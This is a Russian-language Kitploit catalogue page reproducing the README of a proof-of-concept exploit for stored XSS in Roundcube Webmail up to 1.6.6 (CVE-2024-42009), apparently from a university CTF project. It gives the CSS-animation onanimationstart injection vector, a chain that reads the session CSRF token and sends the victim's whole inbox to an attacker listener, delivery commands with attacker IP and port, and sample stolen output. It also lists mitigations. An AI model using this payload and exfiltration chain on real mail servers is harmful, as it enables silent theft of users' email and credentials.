Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-42009-roundcube-xss — Эксплойт хранимого XSS для Roundcube Webmail ≤1.6.6 (CVE-2024-42009) с эксфильтрацией писем без клика через обработчики событий CSS-анимации. Включает скрипт отправки через SMTP и CORS-совместимый слушатель для CTF и авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/segunakinsoyinu/cve-2024-42009-roundcube-xss
Инструменты фишингаЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхCTFТестирование на ПроникновениеОбучение и Образование
GitHubsegunakinsoyinu/cve-2024-42009-roundcube-xss

CVE-2024-42009-roundcube-xss

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт хранимого XSS для Roundcube Webmail ≤1.6.6 (CVE-2024-42009) с эксфильтрацией писем без клика через обработчики событий CSS-анимации. Включает скрипт отправки через SMTP и CORS-совместимый слушатель для CTF и авторизованного тестирования безопасности.

Репозиторий
2 месяцев назадЕщё не проверено

CVE-2024-42009 — Roundcube Webmail 1.6.6 Stored XSS PoC

Только для авторизованного тестирования безопасности, CTF-сред и образовательных исследований.
Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, незаконно в соответствии с Законом о неправомерном использовании компьютеров 1990 года (Великобритания), CFAA (США) и аналогичными законами по всему миру.


Краткое описание уязвимости

ПолеДетали
CVECVE-2024-42009
Затронутое ПОRoundcube Webmail ≤ 1.6.6
Исправленная версия1.6.7 / 1.6.8
Оценка CVSS v3.18.8 (Высокий)
Вектор CVSSAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWECWE-79 — Неправильная нейтрализация входных данных при генерации веб-страницы (XSS)
Тип атакиСохранённый XSS → эксфильтрация электронной почты без клика
Требуется аутентификацияНет (доставка SMTP); Низкая (жертва должна открыть письмо)

Как это работает

HTML-санитайзер Roundcube 1.6.6 не удаляет обработчики событий JavaScript, прикреплённые к ключевым кадрам CSS-анимации внутри некорректного атрибута тега <body>.

Вектор инъекции:

root@kitploit:~
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* произвольный JS */">

Когда жертва открывает письмо в своей аутентифицированной сессии Roundcube, CSS-анимация срабатывает немедленно. Обработчик onanimationstart выполняется с полным доступом к объекту JavaScript rcmail, включая request_token сессии.

Цепочка эксплойта:

root@kitploit:~
1. Атакующий отправляет вредоносное HTML-письмо жертве через неаутентифицированный SMTP-ретранслятор (порт 25)
2. Жертва открывает письмо в Roundcube — анимация срабатывает, JS выполняется (без кликов)
3. JS считывает rcmail.env.request_token (действительный CSRF-токен для сессии)
4. JS перебирает все UID входящих сообщений через внутренний почтовый API Roundcube
5. Каждое сообщение извлекается, и его содержимое собирается
6. Все данные входящих сообщений отправляются в формате JSON на HTTP-слушатель атакующего
7. Атакующий читает восстановленные письма — они могут содержать учётные данные, данные сессий или конфиденциальную переписку

Структура репозитория

root@kitploit:~
cve-2024-42009-roundcube-xss/
├── exploit.py       # Отправляет XSS-полезную нагрузку через неаутентифицированный SMTP
├── listener.py      # HTTP-сервер с поддержкой CORS; принимает и выводит эксфильтрованные данные входящих сообщений
├── payload.html     # Автономная XSS-полезная нагрузка для ручной проверки или доставки через Burp
└── README.md

Требования

  • Python 3.7+
  • Внешних зависимостей нет (только стандартная библиотека: smtplib, http.server, json, argparse)
  • Цель должна работать под управлением Roundcube ≤ 1.6.6
  • SMTP-сервер цели должен разрешать неаутентифицированную ретрансляцию на порту 25 (обычно в лабораторных средах)

Использование

Шаг 1 — Запустите слушатель (на вашей атакующей машине)

root@kitploit:~
python3 listener.py --port 8080

Вывод при получении данных:

root@kitploit:~
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19

  --- Email 1 ---
  UID     : 1
  From    : [email protected]
  Subject : SSH Access Credentials
  Body    : Your credentials are: ...

Полный дамп JSON автоматически сохраняется в exfil_dump.json.

Шаг 2 — Доставьте полезную нагрузку

root@kitploit:~
python3 exploit.py \
  --smtp 192.168.62.128 \
  --port 25 \
  --from [email protected] \
  --to [email protected] \
  --attacker 192.168.62.129 \
  --lport 8080 \
  --subject "Security Advisory - Action Required"

Шаг 3 — Дождитесь, когда жертва откроет письмо

Как только письмо будет открыто в Roundcube ≤ 1.6.6, слушатель выведет содержимое эксфильтрованных входящих сообщений.


Почему это работает (технические детали)

HTML-очиститель Roundcube отвечает за удаление опасных атрибутов перед отображением входящего HTML-письма. В версиях ≤ 1.6.6 очиститель корректно удаляет onclick, onerror и подобные обработчики, но не удаляет обработчики событий CSS-анимации (onanimationstart, onanimationend, onanimationiteration).

Поскольку CSS-анимации срабатывают как часть рендеринга (а не взаимодействия пользователя), обработчик выполняется в момент открытия письма — не требуется ни клик по ссылке, ни какое-либо действие пользователя, кроме открытия сообщения.

Объект JavaScript rcmail глобально доступен в каждой аутентифицированной сессии Roundcube. Он предоставляет rcmail.env.request_token, который является CSRF-токеном сессии. В сочетании с собственными конечными точками почтового API Roundcube (?_task=mail&_action=list, ?_action=show) полезная нагрузка может прочитать полный почтовый ящик без дополнительной аутентификации.


Затронутые версии

ВерсияСтатус
≤ 1.6.6Уязвимо
1.6.7Исправлено
1.6.8Исправлено (рекомендуется)
1.5.x LTSСм. уведомление поставщика

Меры по устранению

ДействиеПодробности
ОбновлениеRoundcube 1.6.8 или новее исправляет этот класс XSS
Заголовок CSPРазверните Content-Security-Policy: default-src 'self'; script-src 'self' на виртуальном хосте веб-почты, чтобы заблокировать выполнение встроенного JS

Ссылки

  • Уведомление о безопасности Roundcube
  • NVD — CVE-2024-42009
  • OWASP Top 10 A03 — Инъекции

Обнаружено / Продемонстрировано

Этот PoC был разработан и протестирован в рамках оценки проникновения Boot-to-Root CTF в модуле Этический взлом и тестирование на проникновение, магистерская программа по кибербезопасности, Университет Ковентри (2025–2026). Все тестирование проводилось в изолированной лабораторной среде VMware с явным письменным разрешением.

Автор: Сегун Акинсойину
Портфолио: segunakinsoyinu.github.io/MyPortfolio


Юридическое уведомление

Этот код выпущен только для образовательных и авторизованных исследований безопасности. Автор не несёт ответственности за неправомерное использование. Перед использованием этого инструмента убедитесь, что у вас есть явное письменное разрешение на тестирование целевой системы.

Скачать инструмент
АргументОписание
--smtpIP-адрес или имя хоста целевого SMTP-сервера
--portПорт SMTP (по умолчанию: 25)
--fromАдрес отправителя (любое значение, принимаемое ретранслятором)
--toАдрес электронной почты жертвы
--attackerВаш IP-адрес — встраивается в полезную нагрузку как адрес сборщика эксфильтрации
--lportПорт вашего слушателя (по умолчанию: 8080)
--subjectТема письма
SMTP-ретрансляторОтключите неаутентифицированную ретрансляцию на порту 25 — требуйте AUTH для всей внутренней доставки